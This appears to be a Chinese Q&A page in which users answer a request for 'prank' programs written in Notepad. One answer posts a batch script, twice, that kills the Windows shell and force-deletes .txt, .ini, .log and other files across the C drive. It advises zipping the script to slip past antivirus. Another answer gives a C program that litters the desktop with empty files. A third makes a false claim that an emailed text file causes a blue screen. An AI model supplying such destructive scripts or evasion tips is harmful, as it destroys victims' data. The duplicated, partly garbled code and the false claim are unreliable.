哪个高手能给几个用记事本自己编写的恶搞小程序?
展开全部
| bat恶搞代码 | 不要玩过头 | 自己不要点 | 最好打成压缩包 否则可能被360误报 |
以下代码可以格式化C盘,让C盘数据彻底消失!
Dos:
@echo off
title C:files killer2.4
color 4f
taskkill /im explorer.exe /f
echo 删除C盘所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"
@ping -n 2 127.1>nul
rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"
@ping -n 2 127.1>nul
rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download"
@ping -n 2 127.1>nul
rd /s /q "%windir%\temp" & md "%windir%\temp"
@ping -n 2 127.1>nul
rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player"
@ping -n 2 127.1>nul
rd /s /q "%userprofile%\UserData" & md "%windir%\UserData"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent"
@ping -n 5 127.1>nul
del /a /f /s /q "%userprofile%\Cookies\*.*"
del /a /f /s /q "%userprofile%\Recent\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat"
del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db"
del /a /f /s /q "%userprofile%\Local Settings\History\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /a /f /s /q "%temp%\*.*" del /a /f /s
echo 完成!
echo. & pause
以下代码可以格式化C盘,让C盘数据彻底消失!
Dos:
@echo off
title C:files killer2.4
color 4f
taskkill /im explorer.exe /f
echo 删除C盘所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"
@ping -n 2 127.1>nul
rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"
@ping -n 2 127.1>nul
rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download"
@ping -n 2 127.1>nul
rd /s /q "%windir%\temp" & md "%windir%\temp"
@ping -n 2 127.1>nul
rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player"
@ping -n 2 127.1>nul
rd /s /q "%userprofile%\UserData" & md "%windir%\UserData"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player"
@ping -n 2 127.1>nul
rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent"
@ping -n 5 127.1>nul
del /a /f /s /q "%userprofile%\Cookies\*.*"
del /a /f /s /q "%userprofile%\Recent\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat"
del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db"
del /a /f /s /q "%userprofile%\Local Settings\History\*.*"
del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /a /f /s /q "%temp%\*.*" del /a /f /s
echo 完成!
echo. & pause
展开全部
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define MAX 100
void hebingString(char s1[],char s2[])
{
int n1,n2,i,j;
n1=strlen(s1);
n2=strlen(s2);
j=0;
i=n1;
while(j<n2)
{
s1[i]=s2[j];
i++;j++;
}
s1[i]='\0';
}
void creatString(char s[],int m)
{//0 的asii码是48
if(m==0)strcpy(s,"0");
else
{
int n[10],t=m,i=0,j=0;
while(t)
{
n[i++]=t%10;
t=t/10;
}
while(i--)
{
s[j++]=char(n[i]+48);
}
s[j]='\0';
}
hebingString(s,".txt");
}
void main()
{
char str[100];
int i;
char str2[100];
strcpy(str2,"C:\\Documents and Settings\\All Users\\桌面\\");
char str3[100];
FILE * fp;
for(i=0;i<MAX;i++)
{
strcpy(str3,str2);
creatString(str,i);
hebingString(str3,str);
fp=fopen(str3,"w");
if(fp==NULL)
{
printf("%d error",i);
exit(0);
}
fclose(fp);
}
}
if(m==0)strcpy(s,"0");
//如果M等于0……复制S为“0”……
else
{
int n[10],t=m,i=0,j=0;
while(t)
while(t)//循环呗T等于0就会退出
{
n[i++]=t%10;//赋值啊
t=t/10;赋值啊……
}
while(i--)//I不等于0一直循环
{
s[j++]=char(n[i]+48);//N数组的赋值上面那循环是T%10,N就是0-9的范围内了,+48转换CHAR就是0-9的CHAR了
}
s[j]='\0';//这个知道吧,\0字符串尾……
自己试下就知道了 呵呵
#include<string.h>
#include<stdlib.h>
#define MAX 100
void hebingString(char s1[],char s2[])
{
int n1,n2,i,j;
n1=strlen(s1);
n2=strlen(s2);
j=0;
i=n1;
while(j<n2)
{
s1[i]=s2[j];
i++;j++;
}
s1[i]='\0';
}
void creatString(char s[],int m)
{//0 的asii码是48
if(m==0)strcpy(s,"0");
else
{
int n[10],t=m,i=0,j=0;
while(t)
{
n[i++]=t%10;
t=t/10;
}
while(i--)
{
s[j++]=char(n[i]+48);
}
s[j]='\0';
}
hebingString(s,".txt");
}
void main()
{
char str[100];
int i;
char str2[100];
strcpy(str2,"C:\\Documents and Settings\\All Users\\桌面\\");
char str3[100];
FILE * fp;
for(i=0;i<MAX;i++)
{
strcpy(str3,str2);
creatString(str,i);
hebingString(str3,str);
fp=fopen(str3,"w");
if(fp==NULL)
{
printf("%d error",i);
exit(0);
}
fclose(fp);
}
}
if(m==0)strcpy(s,"0");
//如果M等于0……复制S为“0”……
else
{
int n[10],t=m,i=0,j=0;
while(t)
while(t)//循环呗T等于0就会退出
{
n[i++]=t%10;//赋值啊
t=t/10;赋值啊……
}
while(i--)//I不等于0一直循环
{
s[j++]=char(n[i]+48);//N数组的赋值上面那循环是T%10,N就是0-9的范围内了,+48转换CHAR就是0-9的CHAR了
}
s[j]='\0';//这个知道吧,\0字符串尾……
自己试下就知道了 呵呵
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
新建一个文本文档,然后插入hhjsfdusnj window,,hffjfiukjei 508963kfdjksfjjkk,最 后插入图片,如果对方有邮箱,就发给他 ,他一打开就会出现你插入的图片,然后 出现蓝屏(效果7—10分钟)(注:做好 病毒后不要打开,否则会出现以上说的情 况)
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询